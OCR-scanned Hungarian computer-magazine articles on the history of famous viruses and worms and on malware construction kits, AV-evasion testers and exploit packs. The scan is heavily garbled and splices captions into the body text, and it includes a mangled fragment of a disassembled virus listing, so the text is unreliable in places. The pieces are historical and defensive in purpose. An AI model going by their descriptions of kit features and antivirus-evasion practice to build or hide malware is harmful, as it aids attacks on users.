4j sort, majd a fajlt dtnevezziik
.com kiterjesztés(ire, annak Gjbo-
[i megnyitdsakor viruskeresénk-
nek azonnal ,ugrania” kell. Ha
nem teszi, baj van!

-
& 20.64.0.0/19

CodeRed Infections

A Codered (Bady) Microsoft lIS-szervereket tamadott, és tulcsordulasos
tamadassal még egy héatso ajtot is tudott a gépekre telepiteni. Szerverek
ezrei estek rovid id6 alatt aldozataul

legalizélasara vonatkozo tizenetet is
lehetett taldlni.

A OneHalf is tj modszert honosi-
tott meg: merevlemezrdl torténd
bootoldsonként 2-2 cilinder teljes
tartalmdt titkositotta, a merevle-
mez végérol indulva. Ha csak si-
man mentesitettilk a gépet, az el-
kodolt részhez soha tohbé nem
fértiink hozza, Szerencsére késziilt
hozza egy egyedi dekédol6 segéd-
program, amely a tényleges fizi-
kai irtds elGtt képes volt visszaala-
kitani az eredeti adatokat. A virus
a nevét a [é] merevlemez elkodo-
dsa utan megjelenitett humoros-
nak szant tzenetérd| kapta: ,Dis

is one half.” J6 vice volt; tébben
rosszul lettek, amikor szembesiil-
tek vele.

Erdekes eseménylancot inditott el

a sokak dltal ismert CIH virus. Az
elsG jelentések rola 1998 elejérdl
szarmaznak, az iddk sordn pedig

j6 néhdny véltozata sziiletett. Ki-
[6nlegessége, hogy a Pentium pro-
cesszorral rendelkezé szamitoge-
pekben olyan hibét volt képes okoz-
ni, amely a hardver javitdsa nélkil
nem orvosolhaté: a gép elinduldsa-
hoz sziikséges BIOS PROM-ot tet-
te tonkre feltilirassal. A legismertebb
és legelterjedtebb verzio minden év
aprilis 26-an aktivizdlodott. Ez a val-

IRODALOMJEGYZEK

Farmosi [stvan — Kis Janos - Szegedi Imre: Viruslélektan
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A Slammer (vagy Zaphire) a Microso

korabbi él

ft SQL szervereken pusztitott. Minden

tozat azonban csak 1998 kozepén
terjedt el szélesebb kérben, igy az
elsé valodi aktivizaloddsi détuma
1999. aprilis 26-a lett. Még itthon
is adtak ki szdmitastechnikai laphoz
olyan CD-mellékletet, amely ezzel
a virussal volt fertézétt. A kirtevd
anevét tajvani illet6ség( készitgjé-
161, a kezddbetk alapjan Chen Ing-
Haurol kapta.

Mdjus a szerelem honapja. Ha
valaki egy | LOVE YOU targy le-
velet kapott, amelyhez egy LOVE-
LETTER-FOR-YOU.TXTvbs mel-
leklet is tartozott, az nehezen
tudta elkertilni a meglepetést.

A VBScriptben irt féreg futtiizsze-
rien terjedt, a megfert6zott gépe-
ken megkereste az Outlook cim-
jegyzékét, és az itt talalt cimekre
azonnal tovébbkiildte magét. Ko-
moly kérokozés is tortént: a zenei
és képallomanyokat sok esetben j6-
vétehetetlentl bindris szeméttel irta
felil. A Loveletter kivételes eset volt
abbdl a szempontbdl, hogy szer-
z6jét, Onel Cuzmant sikeriilt azo-
nositani és el fogni, mégis meglisz-
ta a biintetést, mert akkoriban még
nem |étezett ilyen helyzetekre jog-
szabaly. Azéta persze mar a Fulop-
szigeteken is biintetend6 az effajta
cselekmény.

Mindossze hat nappal julius 18-i fel-

fedezése utdn a SirCam internetes
féreg mér az egész vilagon elterjedt
és bizonyitottan az egyik leggya-
koribb kérokozo programma valt.

A SirCam virus a fert6zott gép me-
revlemezén tallhaté dokumentu-
mokbol kiild véletlenszerden egyet
avirussal egy(itt tovabb kiilonbo-
26 cimekre. A féreg ltal elioglalt le-
mezteriilet okozta karokon kiviil fi-
gyelmet érdemel a SirCam puszti-
16 rutinja is: 5% esély volt rd, hogy
a féreg a Windows mappa minden
alkonyvtardt és fajljat kitorolje, igy
ebben az esetben a gép mér nem is
indult el. Ez mar ijeszt6 volt: zenél
agépem, hat annyi baj legyen. Le-
esnek a karakterek az also sorba a
potyogtatos” virustol? Kit érdekel.
De hogy a magénszféra sérill, és
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barmelyik dlloményom kozpréda le-
het, az mdr mindenkit sokkolhatott.

ANimda virus - amelynek érdekes-
sége, hogy egyszerre négy kilonbo-
Z6 fertézési mechanizmust is képes
volt alkalmazni (Exe-fertézés, he-
lvi hdlézaton, weben és levelezésen
keresztiili terjedes) — megjelenése-
kor 24 6ra leforgasa alatt 2,2 millié
gépet fertézott meg. A hosszi tévil,
hatékony védekezéshez nem volt
elég a virusmentesités, hanem min-
denképpen sziikséges volt a megfe-
lelé Microsoft javit6 &lloményok le-
futtatdsa is. Mivel a virus a hdlozati
kapcsolatokon keresztil is fertG-
76tt, ezért a kornyezet mentesitése-
kor szét kellett hiizni azt, és minden
gépet killon-kiilon kellett kitakari-
tani. Csak ezutdn volt szabad (jra
halgzatba kapcsolni Gket. Erdemes
a virus nevét visszafelé is elolvas-
ni: ADMIN.

Nem volt eseménytelen a 2002-es
esztendd sem, és ezt wbbek ko-
z6tt a CodeRed féregnek is koszon-
hettilk. Microsoft 11S-szervereken
terjedt, és ami igazdn kilonleges-
56 tette, az az volt, hogy a kédja ki-
zér6lag a fert6zott szervergépek
memoridjaban terjecit. Emellett ren-
delkezett trGjai, hatsGajté-kompo-
nenssel is, amelynek Virtual Root
volt a neve. A fertGzott gépen meg-
jelenitette a ,Welcome to worm.
com, Hacked by the chinese!” iize-
netet, és azonnal Gjabb fertézheté
I1S-szerverek utan kezdett kutatni

a hdlézatban. A javitashoz nemcsak

A Melissa férget készité David

L. Smith. 1999-ben a hatésagok
szerint mintegy 80 millié dollar kart
okozott

Meszage

Egy ritka ideg

This spstem iz shutting down. Pleaze zave all
work. in progrezs and log off. Any unzaved
changes will be lost. Thiz shutdown was
initiated by NT AUTHORITYASYSTEM

Time before shutdown

Windows must now restart because the
Remate Procedure Call [RPC) service
terminated unexpectediy

00:00:57

Thukk blakakb

elindul

it6 kartevé: a LoveS
. - s

ama cek

és barmit

is, a gép Gjraindul

Itt is egy javitatlan hibat, a DCOM RPC (Remote Procedure Call) biztonsagi

rést hasznaltak ki

az ,explorer.exe” trojait kellett kito-
rélni, de sziikséges volt a biztonsa-
gi hibakat javitd Microsoft-foltokat
is telepiteni.

Nem, ezlittal nem a Rolling Stones
Sticky Fingers cim(i szamardl lesz
520, hanem a lopkodos Klez virus-
r6l. £z a fert6zott gép merevleme-
zén tallhato dokumentumokbdl
véletlenszertien kivalasztott egyet,
és azt sajat SMTP-motorja segitsé-
gével tovabbkiildte a virussal egy(itt
kilonbozé cimekre, igy titkos vagy
bizalmas informaciok kertilhettek
idegen kezekbe. Megjelenése 6ta
sokdig volt a virusstatisztikék éllova-
sa, rengeteg levelet kiildtek a fertd-
zott gépek. Ezekben a levelekben

a felad6 legtobbszor hamisan szere-
pelt, igy a visszakiildott figyelmez-
tetésiink sem érte el a céljat, ettd|
kezdve teljesen feleslegessé valt a

vélelmezett (de hamis) felad6 érte-
sitése. A H varians kiilon érdekessé-
ge az volt, hogy az érkez6 levélben
megtévesztésként magat mint virus
elleni irtéprogramot tiintette fel.

Akik kordbban tigy konyvelték el,
hogy csak futtathatd allomanyok-
ban vagy boot szektorban lehet-
nek virusproblémak, nagyot csa-
lodtak. A Microsoft SQL szerve-
reket témadd Slammer (vagy méds
néven Zaphire) [éreg a nem rissi-
tett rendszerekben taldlhat6 bizton-
sdgi rést hasznalta ki. Tamadasa so-
ran az is nyilvanvalova valt, hogy
sok cégnél akkoriban nem tizemelt
jol bedllitott tiizfal, amellyel elkerdl-
hették volna a balesetet, ennek hi-
anyaban mar csak az internet drasz-
tikus lelassuldsabol vehették észre

a problémat. Egy elemz6 cég ké-
s6bbi jelentése szerint a megfertd-

3 Furkd Antivirus telepitése

egyezmények védik.

Udvézoljiik a(z) Furkd Antivirus
telepitdjében!

Ez a program a(z) Furkd Antivirus alkalmazast Fogja telepiteni a
szamitGgepére, Kattintson a Mégse gombra ha nem kivanja
telepiteni ezt az alkalmazast, Kattintson a Tovabb gombra &
telepités folytatasshaz,

FIGYELEM: Ezt a programat a szerzi jogi torvény és nemzetkizi

A program vagy barmely részének engedély nélkili masolasa
vagy terjesztése sulyos polgar- és buntetdjogi bintetéseket
eredményezhet, &s a torvény &ltal engedélyezett maximalis
mertekig elidrunk elene.

llyen is volt: kamu magyar antivirusprogram. A hozzatartozé allomanyok
kiilénb6z6 jatékokbol valé zenék és képek voltak, és egyaltalin nem miike-
détt, mégis pénzért arultak az interneten
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A Fllop-szigeteki Onel A. de Guzman készitette

a Lovebug, vagy mas néven Loveletter férget.
Efogasakor még nem létezett ilyen internetes
cselekményekre vonatkozé jogszabaly, igy olcséon
meguszta az esetet

26détt SQL-szerverek 90 szdzalé-
ka mdr a jarvdny elsé tiz percében
dldozatul esett. Terjedési sebessé-
ge nagysagrendekkel megel6zte a
CodeRed férget. Ugyancsak tjdon-
sdg volt és a terjedését is eredmé-
nyesen szolgélta, hogy a Slammer
nem hasznélt bonyolult, nagymére-
tii véletlenszém-generdtort, ehelyett
a rendszer tizemidejének szamldlo-
jat haszndlta fel véletlen cimtarto-
manyok generélasahoz a célpontok
kivalasztasihoz.

Tobbféle egyéb néven is ismerjiik:
MSBlast, Blaster. Az eset tigy kez-
dédott, hogy egy hénappal ko-
rabban a Microsoft felfedezett
egy biztonségi rést a Windows
operécios rendszerben. Julius-

Doc view

File Edit Tree Help
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ban ezt a biztonsé-
gi rést mar ki is ak-
naztak, és elkez-
dédott a rémalom.
A DCOM RPC
(Remote Procedure Call) sebezhe-
t6ség kihasznéldsa rendszeresen
tjrainditotta vagy lefagyasztotta a
windowsos gépeket.

A kddban még Bill Gatesnek is
lizent az ir6: ,| just want to say
LOVE YOU SAN! billy gates why
do you make this possible 2 Stop
making money and fix your soft-
warell” Az atyai figyelmeztetés —
miszerint a profithajhdszds helyett
inkabb ki kellene javitani a szoftve-
reket — ma is aktudlis.

Tobb Windows-véltozaton til va-
gyunk, jelenleg a szuperbizton-
sagosnak kikidltott Vista a leg-
Gjabb trénkovetels. A Win32/
TrojanDownloader.Ani.Gen tréjai a
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for az elsé Word makré virus megjelenése. Irodak és
munkahelyek mlll|0| érezték ugy, hogy mostantol veszélyben a napi munkajuk
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Amikor egy virus szép: a Bagle.N valtozat kédjaban ez a pil-
langé rejtézkadik, csak fel kell fedezni egy hexaeditorral

Windows animdlt kurzorféjlok (:ani)
kezelésével kapcsolatos, kritikus se-
bezhetSségét haszndlja ki. A felfe-
dezett hiba kihasznaldséval tavo-

li kodfuttatas valésithaté meg az
aldozat rendszerén egy jol eiokesﬂ—
tett kurzorféjl letéltése utan. Kiilon
érdekesség, hogy nemcsak az XP és
korabbi NT-alapi rendszerek, ha-
nem a Vistaval telepitett szdmitogé-
pek is dldozatul estek a trojai kdrte-
vének. Oszintén: ki gondolt volna a
gyilkos kurzorokra?

Eddig tartott a hihetetleniil bé-
séges virusterméshdl valé ma-
zsolazasunk. Az itt felsorolt viru-

“40HEX-11.005(Meg/elenites)
1 nodel shay

18 org ®
19 ; Leach virus

: Disassembly by Dark Angel of Phalcon/Skisa
21 ; Assenble with Tasn /m Leach.ass

(readbuffer

23 virlength ech)
{HCencryptad #116 - Laéeh +

24 reslength 2
25

26 Leach

jup  short enter lesch

aw offset carrier
au 0. 8
aw )
dw o. 0
dw o
e °

35 unningfieg g0 1

28 evenadd i e

o

3 call  mext

49 next.
pop st

42 sutatearean:

Sokan igyekeztek megérteni, és
visszafejteni a virusokat. Képunkén
a Leech virus egy disassemblalt és
kommentezett valtozata

sok iréi mindenesetre gyckeresen
megviéltoztattak a szdmitdgépes
biztonsagrol kordbban kialakult
addigi elképzeléseket, sokszor
vadonatij, tdmadhaté frontokat
nyitva (j kihivasok elé allitottak a
szakmat. Sajnos abban is biztosak
lehetiink, hogy a folyamat itt nem
allt meg, és ez a j(’)vr'ihen is foly-
tatédni fog.
Kérjik kedves olvaséinkat, ha
a témaban kérdésik, hozzaszo-
lasuk van, juttassak el hozzank
(velemeny@pcworld.hu).
Csizmazia Istvan,
virusvédelmi tanacsado
Sicontact Kft.,, a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.bu

Nékleteh

a csinos t:

Ha egy e-mail
sokan fognak kattintani

51 igérnek képeket, arra

KAPCSOLODO WEBOLDALAK

Az ESET magyar nyelv(i viruskatalogusa: wwwieset.hu/virus

Amit a virusokrdl tudni érdemes: wwwiantivirus.hu

EICAR tesztvirus wwweicar.com
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Gepesitett hadosztalyok a barikad ket oldalan

Sorozatunk tizenharmadik epizddjaban attekintjik, mik okozzak az exploitokat és mekkora ut ve-
zetett az egyéni, ,kézzel irt” virusoktdél a mai, automatikusan generalt kartevokig. Lathato, hogy
a kodgeneralo kitek, a ,tesztel0” segédeszkozok és egyéb programkészletek a kartevoellenes csa-

ta mindkét résztvevéjénél komoly fejlédésen estek at és jelentds szerepet jatszottak/jatszanak.

an a sebezhetdségeknek egy
v specidlis csoportja, amelyet

a szakzsargon csak ,nulladik
napi tdmadasnak” (0 day exploit)
nevez. Ezek olyan, épphogy csak
felfedezett friss programhibak,
amelyekre még nem létezik javit6folt,
s6t néhany esetben a gyarto egyaltalan
nem is tud a sebezhetGségrdl. Az ilyen
hibak kihasznalasa eredménnyel — és
ezaltal anyagi haszonnal - kecsegtet
a bindzéknek a javitasig, ezért egy-
egy jelentdsebb Windows Vista
nulladik napi hiba technikai leirasa
és a kihasznalasara irt kod akr 50
ezer dollarért is gazdat cserélhet
a feketepiacon.

A nem frissftett operacids rendszerek
és alkalmazasok mellett a leggyako-
ribb veszélyforras a puffertdilcsordulasi

hiba. Anélkiil, hogy mélyebben érin-
tenénk ennek programozdi vetiile-
tét, kijelenthetjiik, hogy nagyjabdl ar-
rdl van szd, hogy egy programban

a kilonféle visszatérd funkciokat el-
at6 programrészletek (fliggvények)
egy memoriateriileten (verem, ango-
lul stack) adjak at egymasnak a para-
métereiket. A verem azonban nem-
csak ezeket, hanem azokat a me-
moriacimeket is tarolja, amelyekre

a meghivott flggvény lefutdsa utdn

a programnak ugrania kell, azaz ame-
lyekhez vissza kell térnie. Ha a hivo-
program nem végez semmilyen el-
len6rzést a verembe toltendé para-
méterek hosszat illetGen, akkor a tdl
hosszt adattal a fontos visszatérési ci-
mek feltilirédhatnak. Szdmos behato-
l&si kisérletnél hasznaljak ezt a mod-
szert, azaz egy megfelelGen el6ké-
szitett adatcsomaggal magdra az

Al Szerkesztes Megielenftes Eszkgaok Bedllithsok  KrNezegetd

TPEGEN ASM(Megielenités)

TridenT Polymorphic Engine (TPE) mutacios

Ladatra” keriil at a vezérlés,
ami esetlinkben egy kértevé.
gy lehet példaul egy MP3 f4l-
ba virust helyezni, és mond-
juk egy puffertdlcsordulds el-
len nem védett zenelejatszo-
val elinditani a zenébe rejtett
kdrokozét.

Az elsé id6kben a szakmai
tudds, a mély rendszerprog-
ramozasi ismeretek jatszot-
tak a fGszerepet, s az As-
sembler és a C nyelv alapos
tuddsa adta kulcsot viruské-

program igazi nagyagyu volt a maga idejé-

ben. Készitéje, Masoud Khafir a forraskodot

is kozkinccsé tette

- No acticn -
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A B
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iy £
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Mar a DOS-os idékben is léteztek virusgeneratorok. Hozzajuk jutni azonban
sokkal nehezebb volt, mint manapsag, mivel példaul jelszoval védett privat

BBS-ek vettek részt a terjesztésben

dok elkészitéséhez. A tudasanyag-
hoz tobbek kozott a lemezkeze-
lés részletes ismerete tartozott: te-
hat a boot szektorral, a Master Boot
Rekorddal és az adatok taroldsara
vonatkoz6 szabdlyokkal (clusterek,
ldncolas stb.) kapcsolatos jartassag.
Egy valamireval6 virusird természe-
tesen a megszakitdsok (interruptok)
kezelésével, mikodésével is ma-
gas szinten tisztdban volt. Késébb
mar itt is eléfordultak olyan virus-
vdltozatok, variaciok, amikor példa-
ul a péntek 13-i id6zitést 12. cstitor-
tokre cserélték: nos, ehhez persze
nem sziikségeltetett komoly tudas,
csak egy szovegszerkesztS vagy egy
hexaeditor, plusz némi lelemény.
Kevesen foglalkoztak magas szin-
vonalon virusirdssal és virusirtok-
bél sem volt sok, igy sokaig a havi
frissités — a varatlan és rendkivili

eseteket leszamitva — elegendd-
nek latszott. Egy-egy jelent&sebb
virus — példaul a Whale csalad
polimorfikus, azaz alakvalt6 kddja-
nak megjelenése — jél fel tudta ka-
varni a hangulatot. Néha még olyan
is el6fordult, hogy egy Gj virus r6-
ja valtsagdijat kivant kérni nagyobb
AV-cégektdl, hogy a pénz fejében
atadja a viruskédot, amelyet azok
beépithetnek az adatbazisba. Ter-
mészetesen az antivirusipar elzar-
kézott az ilyen terrorista akcioktol,
s6t a legtobb helyen még az a szo-
kas is megmaradt, hogy volt, de mar
jO Gtra tért virusirokat nem alkal-
maznak, a ,rabl6bdl lesz a legjobb
panddr” elv ellenében. Ez a sza-
bély manapsag gyengilni latszik, Ki-
naban tobb esetben is jol fizetd IT-
biztonsagi allast ajanlottak a karté-
kony kédok készitginek, a vezeté

|Diesel Power v1.0 VCK [c) by XaRaBaS [DkpRY] 4|
Virusinfor Infected macros :
Author: 5R=B3s [DloR] I Autohiew
virus name:  [The Real FoweR ™ AutoClose
Identifier; [Dkera ™ AutoExec
Targetfile:  [civol.bas I FileSaveds
Payload : Time of payload ¢
CREATE A Mo payload I vear [ ]
i e
AUTOMACRO VIRUS ¥ NN =W
NON-AUTOMACROVIRUS | © Wirus FaT Devil YiRUS by ThARAHAS Coay@an [
POLYMORPHIC VIRUS € Virus TexX's GuNs VIRUS by Tex I Howfo23) [
TROJAN HORSE © Wirus LeNib ViRuS by XaRaBas [DkpRJ] I second(o59) [
B 1 [ = ] a1

Amikor bekdszontott a makrovirusok korszaka, hihe-
tetlen mennyiségben jelentek meg olyan konstrukcios
készletek, amelyekkel szakértelem nélkiil is lehetett
ontani a kartékony koédokat. Itt a Dark Bytes nevii kitet
latjuk

A Diesel Power meniiszerkezetében mindent
beallithatunk: mikor - év, hénap, nap, dra,
perc, masodperc -, milyen allomanyban,
milyen nevi makréoban, milyen kiséré tze-
nettel, milyen pusztitas torténjen

A nagy népszerliség miatt a makrévirusok
is bekerultek az univerzalis viruskészité
készletekbe. A Demolition Kit (azaz ,,Pusz-
tito Készlet”) segitségével néhany egérkat-
tintassal ,,eredményt” lehetett produkalni
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Manapsag, a szélessav koraban a warezoldalakrol vagy a torrentekrdl
csekély keresgéléssel barki barmihez hozzajuthat, legyen az tréjaigene-
rator, virus forraskodja vagy épp hackereszkoz

nagyhatalmak pedig hackereket to-
boroznak honvédelmi célokra.

Amit mar egyszer felfedeztek, meg-
fejtettek, arra mér lehetett a tovab-
biakban épiteni (mint a C vagy Pas-
cal nyelva konyvtarrutinok eseté-
ben), igy példaul az alacsony szintd
lemezkezeléshez mér senkinek nem
kellett Gjra feltaldIni a spanyolviaszt.
Természetesen a szakmai tudést az
elsd viruskorszak utdn is a sziikséges
hozzavalok kozt emlitjiik, de elkez-
dédott az egyedi, szeretve dédelge-
tett kodok vilaga utan a sorozatgyar-
tds, a konstrukcios kitek, a csekély
ismeretekkel rendelkezék szaméra
néhany gombnyomasra vagy egér-
kattintdsra kész virust készit6 cso-
magok, technikak kora. Ebben mar
nemcsak a gyorsabb kédkészités,
az alacsonyabb rend( kulimunkak
megsporoldsa jatszott szerepet, ha-
nem elkezdett drucikké vélni az uni-
verzalis viruskészits programkészlet
is, amely irant fizet6képes kereslet
mutatkozott a feketepiacon.

Az automatikus virus-, illetve fé-
regkészit6 készleteknek komoly ha-

v'w NEG - NoMercy Excel Generator

gyomdnya van a mai Oroszorszag
(a volt Szovjetunio) teriiletén. Sziir-
keallomdnyban gazdag, de erkoélcsi
gdtlasoktol mentes, pénzéhes prog-
ramoz6k minden technikai nehézsé-
get legy6zve csak tgy ontottdk a ra-
finaltabbnal rafinaltabb készleteket.
Persze késziiltek ilyenek mashol is:
Németorszag, USA, Ausztralia sem
szégyenkezhet. Nézzlink meg ezek
koziil egy-két érdekesebb darabot.

1993-ban a TridenT, egy holland vi-
rusiré csoport elkészitette a TridenT
Polymorphic Engine (TPE) progra-
mot. fr(’)ja, Masoud Khafir tébb, igen
fejlett virust hozott létre, ezek ko-
z6tt vannak az elsé Windows-viru-
sok, a Win_Vir, a Cruncher sorozat
és az egyik legelterjedtebb — amely
a MtE mutéciés algoritmust is hasz-
ndlja -, a MtE.Pogue virus. A szerz6
igen alapos ismeretekkel rendelke-
zett a titkositdsban, programja pe-
dig igazi mérfoldkének szamitott.

A kezdeti, 1.1-es valtozat néhany
processzortipussal nem mikodott
megfelelGen, ezért a hibak kijavi-
tasa miatt tobb - utoljara az 1.4-

Zeqpue

Természetesen az egyéb makrozhato Office alloma-
nyok sem keriilhették el a sorsukat. Képiinkén
a NoMercy (Nincs kegyelem) Excel Generator nyito-

képernydje. Nomen est omen

Az egyik leghirhedtebb konstrukcios tamado kész-
let az Icepack Platinum. Tébbek kézt az Internet
Explorer, Firefox, Opera, Windows Media Player,
QuickTime, WinZip tucatnyi sebezhetéségét tudta
kihasznalni és ezeken keresztiil karteviéket telepi-
teni. Az eredeti cirill betlis, orosz nyelvii valtozata
mellett kinaira forditott verzioja is létezik

A Multi AVs Fixer megkonnyiti

a virusirok életét: segitségével
gyorsan és hatékonyan tesztelhetik
uj kartevéjuket, hogy lehetéleg
minél kevesebb antivirusprogram
ismerje azt fel.

es — verzi6 is napvilagot latott. To-
vabbi korai kortars volt még a Virus
Constructions Set (VCS), a Virus
Creation Library (VCL), a Next
Generation Virus Construktion Kit
(NGVC), a NuKE'’s Randomic Life
Generator (NRLG) sth.

Az MPack kit mar friss darab, igy

a kor igényeinek megfelelGen k-
[onféle exploitokkal képes tamad-
ni. Egy PHP-szoftverkomponenseket
osszegy(ijté és adatbazissal felsze-
relt készletrl van sz6, amely egy
PHP-szerveren futva fejti ki tevé-
kenységét. A terméket forgalmazé
orosz blinbanda szoftverkovetést,
supportot, valamint teljes kord sta-
tisztikdt is ad a program mellé. Ma-
gat a konstrukciés programot koril-
beltil 1000 amerikai dollarért hir-
detik a feketepiacon. Kiilonboz8
exploitok segitségével a Windows
platformon futtatott Internet Explo-
rer, Firefox és régebbi Opera bon-
gészokliensek haszndléit hozhat-

ja nehéz helyzetbe, ha nem frissi-
tenek vagy upgrade-elnek idében.
Ezenkivil tovabbi hires-hirhedt da-

Egy id6 utan a biin6z6k mar nemcsak
a konstrukcios kiteket bocsatottak
aruba, hanem valodi supportot is
nyujtottak: az ar mar tartalmazta

a technikai tamogatast és a statisz-
tikat is

rabok is léteznek, ezekrél helyhidny
miatt éppen csak emlitést tesziink
— gy érdekes volt még a Shark,

a Metasploit, az Icepack platinum
sth. A Pinch Il Pro nevd, adatlo-
pasra tervezett virus-, tréjai- és
kémprogramkészité készletet pedig
a Virusok Vardzslatos Vildga 2. részé-
ben részletesen is bemutattuk, ki-
probaltuk.

Amikor még a ,munkapadon” van
a kértevs, de mar teljesen mikodoké-
pes, a terjesztonek az az érdeke, hogy
teremtménye minél észrevétlenebb
lehessen. Ezért érdemes megvizsgélnia
tobb, kiilénboz6 antivirusprogrammal,
hogy csokkenjen a lebukds veszélye.
Nem meglepetés, hogy erre is vannak
automata eszkézok. Az egyik ilyen
a Multi AV Fixer. Segitségével nagy-
sagrendekkel gyorsabban és olajozot-
tabban lehet prébélkozni a cél érde-
kében — azaz annak érdekében, hogy
minél kevesebb antivirus jelezzen az
0j programra.

Nagyon macerds viszont tébb
antivirusrendszert is feltelepite-

= Pinch Il PRO Builder cracked by HOt JuRHG EE
Fie About Buid 2,58
) RSN W Dinc i 20 prio)
Protocol
SMTP HTTP | FILE i
e e OSMIP OHTTP  @FILE
SMTP Propedies =
Server:[19467.23111 Pot |28 3|
From | farson2@msil v | To: WTF_ICOGmsi.u v
Subject 2 vl mewat [120 3]
PwD | Run [ spy NET | BD | e | K
IE | Warm | IAChat
Spy options
[kestog DlLname: [phookdl s | Limk [7000 (%)
[C1IE form graber DLL name: | ie-hook.dll | Limit (7000 (2]
[I5cieen spy Format @ gif O jpg O bmp
[IFindFle  Diector |G\ v
File Name: | testexe v
ClEneyt [ Packing:

A Pinch Il Pro meniijében minden részlet
aprolékosan beallithaté. Sok kereskedelmi
programot lepipal a kényelmes kezel6-
felulet. Cikksorozatunk 2. részében mi is
teszteltik a képességeit
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Nem csak konstrukcios kitek és triikkos segédprogramok léteznek am.
Ennek az oldalnak segitségével MD5 hash értékekbdl nyerhetjik vissza

a jelszot. Arra is felhivja a figyelmet, hogy ne ringassuk magunkat hamis
illiziokba vélelmezett biztonsagunkat illetéen

ni egy gépre, rdadasul a rezidens
részt mindegyikben ki is kell kap-
csolni, hogy 6ssze ne akadjanak.
Nos, erre j6 a Virusscan.Jotti.org
vagy a VirusTotal.com weboldal.
Az el6bbi 20, mig az utébbi oldal
immar 37 kilonbozé gyarté keresé-
motorjaval vizsgal parhuzamosan.
Kordbban a VirusTotal kinalt egy
olyan lehetdséget, amikor a vizsga-
landé mintaknal azt is kivalaszthat-
tuk, ne kiildjék el automatikusan az
allomanyt a viruslaborokba, de ép-
pen a virusirok effajta, kiadds el6t-
ti tesztelése miatt ezt az opciét ké-
s6bb megsziintették.

us system riasztas: AMON - fajivendszer vedelem

Fajl:
CAWORKZ\server exe
Virus:

Win3z/Agent AXE trjai

A il toiolhet, Csak akkor tire, ha késaitett

a2 adataich A fiasaést kivaa sk a

Ma mar minden feladatra létezik
hatékony eszkoz, legyen az Office
dokumentumok vagy egyéb jelsza-
vak feltorése, MD5 hash kddok visz-
szafejtése, WiFi-titkositds megfejté-
se, vagy éppen friss exploit kédok
felhajtdsa. Aki az interneten keres,
az talal — sosem volt még ez ilyen
egyszer(i. Rengeteg esetben akar
egy nyilvdnos weblapon is lelhetiink
olyan eszkézoket vagy informaci-
o6kat, amelyek gyakorlati Gtmuta-
tot adnak a kartevékészitk kezébe.
Nehéz megitéIni, hogy az informaci-
o6k kozzététele jo vagy rossz, de ta-
lan inkdbb hasznos, ha
mindenki tud réla.

Az (j sértlékenységek
esetében azonban a do-
log kétoldalt. Gondol-
junk csak a legut6bbi,

s (milvelet:

Féjthozasférss} C\lotalomd\T OTALCHD EXE.

nagy port felverd DNS-

@ Karanténba helyezés

Elkiildés vizsgalatra

Virusirtas

[ fnevezés

£ Tortes

Shgs Bezirds

1 Riasztasi ablak megjelenitése

E=m

Antlvirus System

poisoning sebezhetd-
ségre, amely eseté-

ben a csepegtetett blog-
informaciokbol végl
csak osszeraktdk a mo-
zaikot, és beindult a ta-

A Shark konstrukcios kittel még a legkevésbé
hozzaérté is tud virust irni. Az azért megnyug-
tato, hogy a tesztelés soran a NOD32 minden
ilyen, futoszalagon késziilt virust szépen

felismert

5 enna S py I ntermet Worm Generator 2000 Version 1.00

Senna Spy Internet Worm Generator 2000 Version 1.00 |

[ The first Intemet-worm Generator in the worla |

Brarifian Hacker Group |
| ICQUIN: 3973827 |
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madasi hullam. A megfe-
lelGen etikus felfedezg-
t6l azt varnank el, hogy
el6szor a gyartékkal és
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ESET viruslexikon: wwwi.eset.hu/virus

Secunia: www.secunia.com
VX Heavens: vx.netlux.org

a fejlesztékkel vegye fel a kapcsola-
tot, és addig ne adjon ki részletes in-
formaciokat vagy demonstraciés ta-
madokaddot. Néha azonban a fejlesz-
t6cégek tagadjak a felfedezett rést,
nem hajlandok elismerni a hibajukat,
vagy épp némasagba burkoléznak,
szinte kiprovokdlva ezzel a hiba fel-
fedezGjétdl a részletek nyilvanossag-
ra hozasét. Es persze azt sem szabad
figyelmen kivil hagyni, hogy egy (j
nulladik napi sebezhetGség felfedezé-
se a jo oldalon ,csak” hirneviinket fé-
nyesitheti, mig a rossz oldalnal (elég-
gé el nem itélheté médon) békezden
készpénzben honordljék az ilyen jel-
legli konkrét informéciokat.

Ha mdr a s6tét oldal ilyen automa-
takkal operdl, illogikus volna, ha

a hatékony védekezés és tesztelés
miatt a ,jok” nem tennének hason-
[6képpen. Fontos az operacios rend-
szer és az azon futé alkalmazéi prog-
ramok frissitéseinek rendszeres nap-
rakészen tartdsa. Ebben, valamint
példaul a sebezhetdségek vizsgala-
tdban is szdmos hasznos eszkoz éll
rendelkezésre. A Secunia Inspector
(secunia.com/software_inspectory),
a Microsoft Baseline Security
Analyzer (technet.microsoft.com/
en-us/security/cc184924.aspx), és
még j6 néhany program is hozzajarul
ahhoz, hogy gyorsan leellengrizhes-
stik a problémakat. Az emlitett esz-
kozok hatdsosan és alaposan feltarjak
a gyenge, elavult komponenseket,
réaddsul a frissitéshez konkrét letolté-
si linkkel, esetenként pedig részletes
Gtmutatéval is szolgélnak.

Az automatizalt eszkdzok a harc
mindkét résztvevgjénél megjelentek.

VBS Anthology - WSH Script Creator. v1.21 ]

ca

VBS Anthology

ete we o yet snother VB generstor. | tied to add
some ineresiing functionaity nt this one. and shy

and s o th siple WSH cocle generated heiein
~Fioals VB Guy)

[Ciick here for greets and tharks 4

Szintén a hirhedt programok kozé
tartozott a Sennaspy is, segitségé-
vel barki egyszeriien készithetett
internetes férgeket
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Erdekes és veszélyes csoport volt

a szkriptvirusok csoportja is. VBS,
Perl és egyéb nyelveken sok lelemé-
nyes kod sziiletett. A WISK segitsé-

gével IRC ala lehetett fert6z6 férge-
ket konstrualni

A VBS Anthology koltéi neve ellené-
re sem lesz a baratunk. A forraskod-
ban terjed6 férgek 1998 kornyékén
kezdtek megjelenni. Mivel az Out-
look képes a beérkezé levelekben
1évé VBScript és JavaScript prog-
ramkédot automatikusan végrehaj-
tani, ez altal igen hatékonyan lehe-
tett kart okozni, féleg allomanyo-
kat toroltetni

A rossz oldal a profit novelése érde-
kében a tdamadé kédok hatékonysa-
gdt egyszerre tobb széba johetd se-
bezhetdség kihasznaldsaval erdsiti,
ezenkiviil a kdrtevgkészits és -ter-
jesztd kitek draga arucikké véldsa ré-
vén hiz hasznot a dologbdl. Nem is
beszélve az egyre sokasodd ellopott
banki adatokrol, jelszavakrol, ame-
lyeknek szintén kiilon piaca van.

A j6 oldalon — ahol a csatdban az
id6faktorral is keményen kiizdeni
